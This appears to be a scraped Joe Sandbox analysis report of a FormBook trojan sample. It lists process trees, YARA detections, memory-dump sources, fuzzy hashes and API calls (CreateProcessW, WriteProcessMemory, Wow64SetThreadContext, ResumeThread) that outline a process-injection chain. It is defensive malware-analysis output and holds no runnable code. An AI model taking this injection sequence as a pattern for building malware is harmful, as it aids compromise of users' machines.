Path:	C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe"
Imagebase:	0x260000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	08:53:23
Start date:	07/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	08:53:30
Start date:	07/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD3470276E Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2351584691.00007FFD34700000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c85960ad667cd0662440c197f951bc7abcff772db49abe78935033385509ca36
Instruction ID: 6441ec96246c049bf758284b7055f25e4f8d4594362d0d5528e4e604372d3180
Opcode Fuzzy Hash: c85960ad667cd0662440c197f951bc7abcff772db49abe78935033385509ca36
Instruction Fuzzy Hash: E811C172B0EA898FEB65DBA854A56A87BD1EF5A310B1800BFC64CC7083D92D7C41C350

Function 00007FFD34634CE5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2351275356.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34630000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 5f31fb9abc90c4460dc40f4e5c0b71584ffa5134a09e66ba9350359d32d4033c
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: DC01677121CB0C4FDB44EF4CE451AA5B7E0FB95364F10066DE58AC3661D636E882CB45

Non-executed Functions

Function 00007FFD3463169F Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

,N_^, xrefs: 00007FFD34631801
-N_^, xrefs: 00007FFD34631701

Memory Dump Source

Source File: 00000005.00000002.2351275356.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34630000_powershell.jbxd

Similarity

API ID:
String ID: ,N_^$-N_^
API String ID: 0-4029621914
Opcode ID: d00792d2bc4b3d9793866766d0f6cc00b54b79e601a7fa3a46e4d2d2bcb5bbd2
Instruction ID: 86433aaffa33646d5239d2cc5e9bc5a687ac2b1354e837f2a12959af32206fdc
Opcode Fuzzy Hash: d00792d2bc4b3d9793866766d0f6cc00b54b79e601a7fa3a46e4d2d2bcb5bbd2
Instruction Fuzzy Hash: 415178A7E0D7E61BE7279B6858F50E63FA5DF53258B0D01B7C2D4CA0A3AD0C24076256

Function 00007FFD346338F2 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2351275356.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34630000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6ac82a2822a967e58b299f16982cd53a2968030b3d6088cca131672bc72255
Instruction ID: 9005c2071113b33be49309c585d75668dbbedb4137423f7e57d6c66e7944b282
Opcode Fuzzy Hash: ac6ac82a2822a967e58b299f16982cd53a2968030b3d6088cca131672bc72255
Instruction Fuzzy Hash: 5EA19627B0C6E24AD3116BACE4B51E77FA0DF9323970905B7C6C9C90A3DE186446D394

Function 00007FFD34632ED6 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2351275356.00007FFD34630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34630000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 234cf8a0d263b094d78e4299be2551f23537727102e1065ac109b2724b6d098f
Instruction ID: 4c7c0cf8dbd2fcade0ff33bbdc3d4bd8eb329896a471ea21bea0cc2ced1f84ba
Opcode Fuzzy Hash: 234cf8a0d263b094d78e4299be2551f23537727102e1065ac109b2724b6d098f
Instruction Fuzzy Hash: F3A1C556A0D7E25FE3135B7C9CB51E63FA09F93228B0D41F7C5D8CE0A3EA08654A9391

Analysis Process: powershell.exePID: 2436, Parent PID: 6408COMMON

Executed Functions

Function 00007FFD346437B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2537668374.00007FFD34640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd34640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: c83782b8bf847165b4090f62caed638759e98372f4639477888125952a8ac773
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 9C01677121CB0D4FDB44EF0CE451AA6B7E0FB95364F50056DE58AC3651D636E882CB45

Analysis Process: powershell.exePID: 3768, Parent PID: 2436COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	15
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD346F312D Relevance: 1.8, Strings: 1, Instructions: 557
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

B_H, xrefs: 00007FFD346F3361

Memory Dump Source

Source File: 00000008.00000002.2499517865.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd346f0000_powershell.jbxd

Similarity

API ID:
String ID: B_H
API String ID: 0-1786134785
Opcode ID: 4b25a979b29230b812c1cc83da9353ef2b4d49e7bdb3542d31e7ac71263c82a0
Instruction ID: 8c9f60b60a53722e06fb971dc9e21c37577e8d7b2b13e89c2ee0304cc32ad9d9
Opcode Fuzzy Hash: 4b25a979b29230b812c1cc83da9353ef2b4d49e7bdb3542d31e7ac71263c82a0
Instruction Fuzzy Hash: 67F10222A0DBC54FE796DA2898A55B03BE1EF97210B1900FFD4CDCB1A3D91DAC86D351

Function 00007FFD3462A47C Relevance: 1.9, APIs: 1, Instructions: 351
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE ref: 00007FFD3462A71D

Memory Dump Source

Source File: 00000008.00000002.2498114604.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34620000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b4fb78048f05c7c6eabdd7780535d926a847f30785becca8bba579786cb1370d
Instruction ID: 2a59dcd823de6c06603ab97cebc3cbdb119bcc648b230fe845b189f60d42256c
Opcode Fuzzy Hash: b4fb78048f05c7c6eabdd7780535d926a847f30785becca8bba579786cb1370d
Instruction Fuzzy Hash: 79C1C23190DB988FDB56DF688C556D9BFF0EF5A310F0402DBD049E7292DA34A985CB82

Function 00007FFD346269D0 Relevance: 1.7, APIs: 1, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2498114604.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34620000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3efa697990111c12d2567e9d4d10c5a2fdf81290c770d1f8dff4a14890976536
Instruction ID: 982cd690434df88547fcbe906929a9e49fb5fac8bd20f7c5591ecc6ad22cb4c0
Opcode Fuzzy Hash: 3efa697990111c12d2567e9d4d10c5a2fdf81290c770d1f8dff4a14890976536
Instruction Fuzzy Hash: 9D412731A0DAD95FD7569F6898652FA7FB0EF57220F0401BBD18CC70A3DA186809C791

Function 00007FFD3462AB44 Relevance: 1.6, APIs: 1, Instructions: 136
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FFD3462AC20

Memory Dump Source

Source File: 00000008.00000002.2498114604.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34620000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 212dc665ee610fa4ea9f2dbdd8e01aa6cc1ddcadf07aaa15b848dd61520ac5fd
Instruction ID: 89f686d9d3b9e355d9c881ff61ca51efe64f812b645e42330f8d17d1d537c38c
Opcode Fuzzy Hash: 212dc665ee610fa4ea9f2dbdd8e01aa6cc1ddcadf07aaa15b848dd61520ac5fd
Instruction Fuzzy Hash: C031173191CB588FDB18DF58D8456F9BBE1FB59321F00426FD089D3252DB74A405CB91

Function 00007FFD3462A835 Relevance: 1.6, APIs: 1, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNELBASE ref: 00007FFD3462A904

Memory Dump Source

Source File: 00000008.00000002.2498114604.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34620000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2c693b92f390fe13e890c221ab31000c94f1801e6ed07190a1129dee3ce2bc26
Instruction ID: 9566bf7f73643f4bb46b7393a0e55eaebe7f5cbf5cbfd9bb92b85561dee01c80
Opcode Fuzzy Hash: 2c693b92f390fe13e890c221ab31000c94f1801e6ed07190a1129dee3ce2bc26
Instruction Fuzzy Hash: 3541E63190CB988FDB16DF689C857E97FE0EF57320F08429BD448C7196DB68A806C792

Function 00007FFD3462AC65 Relevance: 1.6, APIs: 1, Instructions: 99
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FFD3462ACFC

Memory Dump Source

Source File: 00000008.00000002.2498114604.00007FFD34620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd34620000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7b04e301ce5856126d29b8bf66e963ce9c9444166fd28ba79eaf938986e7289f
Instruction ID: ade245680f803bcebe3e47811cf15f3e30688f18b0925a0143947cd82220a49b
Opcode Fuzzy Hash: 7b04e301ce5856126d29b8bf66e963ce9c9444166fd28ba79eaf938986e7289f
Instruction Fuzzy Hash: F521DF71A0CA4C9FDB59DF98D849BE9BBE0EB96321F00426EC049C3592DA646416CB81

Function 00007FFD346F43BE Relevance: .2, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2499517865.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd346f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1f624372a0c29f4650b10ffa7dc45369f0db0f9c3fa2dee8db15ddf02661d7a
Instruction ID: 4a4d20bda40dfad291cca9310baada8e9db77d95743cea47bff5a7977d06d8c6
Opcode Fuzzy Hash: b1f624372a0c29f4650b10ffa7dc45369f0db0f9c3fa2dee8db15ddf02661d7a
Instruction Fuzzy Hash: E761F423B0EBA60FF7A5AE6C14F12F466C2EFA6214B4801BED19DD75D3ED0CAC059241

Function 00007FFD346F077C Relevance: .2, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2499517865.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd346f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7747008afd928eb75fce2ede589b1d80e81dc45f1ae038e90ace9368c35e5bcd
Instruction ID: fb94cfbf2376391680aaaf5230f8f66cd9f15b3c5055a008f6328e165efe39a6
Opcode Fuzzy Hash: 7747008afd928eb75fce2ede589b1d80e81dc45f1ae038e90ace9368c35e5bcd
Instruction Fuzzy Hash: 2D41847260DB984FEB659F5CA8522E87BD0EF46320F5401AFE589C3192DA29B845C7C1

Function 00007FFD346F440A Relevance: .1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2499517865.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd346f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 139df451ba13a3b1bed770b4b33521934659ee438d3c26522d5b28aeba32bedf
Instruction ID: 48e2b6db8fcca8264678c9c6e2e6d6ed9383183c75120edde7bb710558c48ca7
Opcode Fuzzy Hash: 139df451ba13a3b1bed770b4b33521934659ee438d3c26522d5b28aeba32bedf
Instruction Fuzzy Hash: 67412653F1EB970BF7A5AE6C04F11F456C2EFA6254B5800BAD69DD75D3DC0CAC04A201

Function 00007FFD346F35DA Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2499517865.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd346f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4436911556faa1b536e65f83142910b78a8730da66903b76a9713a91a6161eb
Instruction ID: 1cc094cf67abb131b66d6bcececa3e1707789deb69b9431f415e5af26158891d
Opcode Fuzzy Hash: a4436911556faa1b536e65f83142910b78a8730da66903b76a9713a91a6161eb
Instruction Fuzzy Hash: 4C41165370EBD50FE7568A2818A51B47BE1DF97250B1801FBC1C9CB293E90D9C49D351

Function 00007FFD346F049A Relevance: .1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2499517865.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd346f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19d35a4e6a7cca9728959a2439dae6bb73b56b7442ba8c56729c932d41451056
Instruction ID: f18f2cb182664b1247b365762a29fdecf8a81ce7c7340e745e7b062e52c74067
Opcode Fuzzy Hash: 19d35a4e6a7cca9728959a2439dae6bb73b56b7442ba8c56729c932d41451056
Instruction Fuzzy Hash: A821F833B0DE2D4FEBA09E5C64A55F8B3D1EF95220B1802B7D59ED3182ED19AC119380

Function 00007FFD346F04C1 Relevance: .0, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2499517865.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd346f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd9c255173304e9e7c43b238e6fb7c3a409ce085a252c4c7ef23bb48c64ad84c
Instruction ID: fbe5f603b79972619458f79c1727a296d19854b8d8a1eadf17f10b6b159c2ea3
Opcode Fuzzy Hash: cd9c255173304e9e7c43b238e6fb7c3a409ce085a252c4c7ef23bb48c64ad84c
Instruction Fuzzy Hash: FBF02723F0ED2A0AF7A0995C38B61F853C1EFA662070812B3D59ED3243EC08AC154380

Analysis Process: appidtel.exePID: 1052, Parent PID: 3768COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	4.5%
Signature Coverage:	7.8%
Total number of Nodes:	154
Total number of Limit Nodes:	16

Executed Functions

Function 004179B3 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417A25

Memory Dump Source

Source File: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_appidtel.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: c79fabb3fdf5941d6f1bcb5b27b0803dcfdb01cfacf757276fc861b6e6210bf1
Instruction ID: 1d8b1bd401b4a974e2d530f46a5ed2bb40f625d7e10e6af9b4b37b09ca64a5ce
Opcode Fuzzy Hash: c79fabb3fdf5941d6f1bcb5b27b0803dcfdb01cfacf757276fc861b6e6210bf1
Instruction Fuzzy Hash: 81015EB1E0020DABDF10DBA1DC42FDEB7B8AB14308F4041AAE90897241F634EB48CB95

Function 0042C853 Relevance: 1.5, APIs: 1, Instructions: 25
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 0042C887

Memory Dump Source

Source File: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_appidtel.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: defa71bd3f3c186be473eb528606ffda59fc89332a1af15f46d98703a3a384b4
Instruction ID: 3a881cc0fb228ea29f5e86185c220ed7150fb12850acc700e840458ec2c0ccab
Opcode Fuzzy Hash: defa71bd3f3c186be473eb528606ffda59fc89332a1af15f46d98703a3a384b4
Instruction Fuzzy Hash: 13E04F356146147BD610FA5ADC01F9BB75DDFC5754F004419FA08A7142C7B0790087E4

Function 039435C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 039435CA

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d8a202a432b35f7a9bd06c5daee1b282990a03ef0783ccda658d3cff68ac7ed3
Instruction ID: 5291988a8692da857b12026574de73b73507b096ff5368fd202f09374b92660d
Opcode Fuzzy Hash: d8a202a432b35f7a9bd06c5daee1b282990a03ef0783ccda658d3cff68ac7ed3
Instruction Fuzzy Hash: 2A90023170960802E100F1584518706104987D0201F65C411B4424568D87958A916BA2

Function 03942B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03942B6A

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ac2862cf68b7e3408d88031e650890df913404009b5eff5fb4b949f2a5c7627a
Instruction ID: 1943d9c04d2b1d2add842ebaf9840f60b026886c479bc92506018d2398b5a032
Opcode Fuzzy Hash: ac2862cf68b7e3408d88031e650890df913404009b5eff5fb4b949f2a5c7627a
Instruction Fuzzy Hash: 87900261306504035105F1584418616404E87E0201B55C021F5014590DC62589D16725

Function 03942DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03942DFA

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 37486528eab4eb98cb57006ccfe58e29d1bbabc0c6a2f434cae3a41905f37045
Instruction ID: 5b2490699fc763316e83b8cc2f7985a3564fc5a6284c0f74d89da13c35c0e332
Opcode Fuzzy Hash: 37486528eab4eb98cb57006ccfe58e29d1bbabc0c6a2f434cae3a41905f37045
Instruction Fuzzy Hash: 5990023130550813E111F1584508707004D87D0241F95C412B4424558D97568A92A721

Function 03942C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03942C7A

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1bab6349f9373e90469e24cf3feaa8a3ed322fa7aeef04330c8e4c8f3e18bc19
Instruction ID: 77b2a4fc033ae0eed747cdec50204709cddb57624c16fb47be91ff3e2d0d627c
Opcode Fuzzy Hash: 1bab6349f9373e90469e24cf3feaa8a3ed322fa7aeef04330c8e4c8f3e18bc19
Instruction Fuzzy Hash: 4490023130558C02E110F158840874A004987D0301F59C411B8424658D879589D17721

Function 004141C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 90
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(62v53-Zo,00000111,00000000,00000000), ref: 0041427A

Strings

62v53-Zo, xrefs: 00414281, 00414284
62v53-Zo, xrefs: 0041426F, 00414279, 0041428A

Memory Dump Source

Source File: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_appidtel.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 62v53-Zo$62v53-Zo
API String ID: 1836367815-4097410928
Opcode ID: a0ca4e6ae6a4811896c4f4fc0da8fe6f36161efd57247d6ecc5d3ab75f20a6ff
Instruction ID: f27600ce87ce39c2254c6af515d1affb034d68a1b1cb731f1cbe9040e75d5a97
Opcode Fuzzy Hash: a0ca4e6ae6a4811896c4f4fc0da8fe6f36161efd57247d6ecc5d3ab75f20a6ff
Instruction Fuzzy Hash: 972126B2E0111D7AE701EAA5DC82DEFBBBCDF42398F1041AAFD04A7201D6394E4647B5

Function 00414203 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(62v53-Zo,00000111,00000000,00000000), ref: 0041427A

Strings

62v53-Zo, xrefs: 00414281, 00414284
62v53-Zo, xrefs: 0041426F, 00414279, 0041428A

Memory Dump Source

Source File: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_appidtel.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 62v53-Zo$62v53-Zo
API String ID: 1836367815-4097410928
Opcode ID: 9c01eff347515c3879ada1c4f81401e6787b2232271088eba0d0f1829133cd5a
Instruction ID: 69872c519f089ddb8bdcc039a86c57e0e3dfb289e74fef1691dc2c396918d4d5
Opcode Fuzzy Hash: 9c01eff347515c3879ada1c4f81401e6787b2232271088eba0d0f1829133cd5a
Instruction Fuzzy Hash: 4C01A1B1E4021C7AEB10AAE19C82DEFBB7CDF81398F40806AFA14A7141D6784E0647F5

Function 00417A61 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417A25

Strings

u}[V, xrefs: 00417A86

Memory Dump Source

Source File: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_appidtel.jbxd

Yara matches

Similarity

API ID: Load
String ID: u}[V
API String ID: 2234796835-4207609071
Opcode ID: 80e9b594a4ff5dfce7daf8d3e66f50f5e705c23ff7c3aa0ce734a771054a304d
Instruction ID: 29ecd2590e3b4f7fb2dea69d95a9ecd961e7f32a71ec71e2b58d07a5d8cd60a3
Opcode Fuzzy Hash: 80e9b594a4ff5dfce7daf8d3e66f50f5e705c23ff7c3aa0ce734a771054a304d
Instruction Fuzzy Hash: 75F0DC7274C28919F701E634AC46B943FA68B43781F488682F456DF1A2D49480434365

Function 00417A42 Relevance: 1.5, APIs: 1, Instructions: 37
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417A25

Memory Dump Source

Source File: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_appidtel.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 40f84be1862ea85441340712ed18b604ebae4c37d11680d94b7c5bccdcf3a5c3
Instruction ID: 5c505cff55d35c201141b08071a46176f36f4d900bbf3696d1c23dfaa6c38a60
Opcode Fuzzy Hash: 40f84be1862ea85441340712ed18b604ebae4c37d11680d94b7c5bccdcf3a5c3
Instruction Fuzzy Hash: 01F0BB75F0010AABE701DB95DC52FDD73B4AB54208F504169EC199B241F630EA4547D5

Function 0042CB63 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,0041E7EE,?,?,00000000,?,0041E7EE,?,?,?), ref: 0042CB9F

Memory Dump Source

Source File: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_appidtel.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5fd82a2e6d91b6cec14fc75788cc43cbe269f5e21262af31c31129c60037b8d8
Instruction ID: 82b2466ef0562ce1d16ca283f089c4b38458be5f07ec6e497c422c9c384ea1b9
Opcode Fuzzy Hash: 5fd82a2e6d91b6cec14fc75788cc43cbe269f5e21262af31c31129c60037b8d8
Instruction Fuzzy Hash: 05E092756042047BC610EE59DC41F9B77ACEFC4714F00401AFA08A7241D670BD10CBB8

Function 0042CBB3 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,54535251,00000007,00000000,00000004,00000000,00417235,000000F4), ref: 0042CBEF

Memory Dump Source

